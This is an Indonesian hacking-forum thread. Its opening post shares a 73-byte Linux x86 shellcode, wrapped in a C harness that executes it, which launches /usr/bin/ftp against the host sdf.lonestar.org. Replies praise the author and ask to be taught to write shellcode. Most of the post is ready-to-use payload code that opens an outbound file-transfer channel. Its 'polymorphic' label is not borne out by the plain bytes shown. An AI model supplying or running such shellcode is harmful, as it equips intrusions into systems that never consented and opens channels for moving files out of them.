73 bytes sys_execve("/usr/bin/ftp", "sdf.lonestar.org", NULL) polymorphic shellcode

[syn_attack]

kakak-kakaklu sekalian, aku mau share mainanku nih....

ini shellcode untuk membuka jalur transfer file lewat protokol ftp di host sdf.lonestar.org (terutama terimakasih untuk mywisdom untuk dedikasinya selama ini, walaupun secara tidak langsung, saya sering buka blog kakak...... maaf ya kak... )

langsung aja ya kak :

Code:

/* 73 bytes sys_execve("/usr/bin/ftp", "sdf.lonestar.org", NULL)
* polymorphic shellcode
* Programmer : Paulus Gandung Prakosa_ (0x1337day)
* Thanks to : mywisdom, chaer.newbie, wenkhairu, ketek, gunslinger_,
*             nofia_fitri, xtr0nic, t3k0, tabun, petimati, and all
*             devilzc0de member
*/

#include <stdio.h>
#include <string.h>

char sdf_ftp[] = "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2e"
                 "\x6f\x72\x67\x68\x73\x74\x61\x72\x68\x6c"
                 "\x6f\x6e\x65\x68\x73\x64\x66\x2e\x89\xe6"
                 "\x83\xec\x01\x88\x04\x24\x68\x2f\x66\x74"
                 "\x70\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73"
                 "\x72\x50\x56\x83\xee\x0d\x56\xb0\x0b\x89"
                 "\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31"
                 "\xdb\xcd\x80";

int main(void)
{
    int ftp_len = strlen(sdf_ftp);
    fprintf(stdout, "[+] Length oof the shellcode is : %d\n", ftp_len);
    ((void(*)(void))sdf_ftp)();

    return 0;
}

POC-nya di sini kak......

http://devilzc0de.org/forum/thread-10737.html

kalau ada yang salah mohon koreksinya ya kak....

[th3pRed4t0r]

icip-icip om.

[selfdefense]

ajarin ane bikin shell code gtu dong om....
prasaan dulu jga ane pernah baca om syn bikin polymorph shell code juga... coman dmana y...?

[mywisdom]

:: mantap mas bro keep creative !

btw tu tempat nongkrong ane

[anko_kum4ru]

omz syn_attack emang kereenn....

[syn_attack]

kakak selfdefense ~# hahahahhahahha...
kakak mywisdom ~# makasih ya kak,,
kakak tabun ~# akh, kakak tabun bisa aja.......

[Deva]

blum paham omz

[syn_attack]

kakak deva ~# kita sama-sama belajar ya kak deva???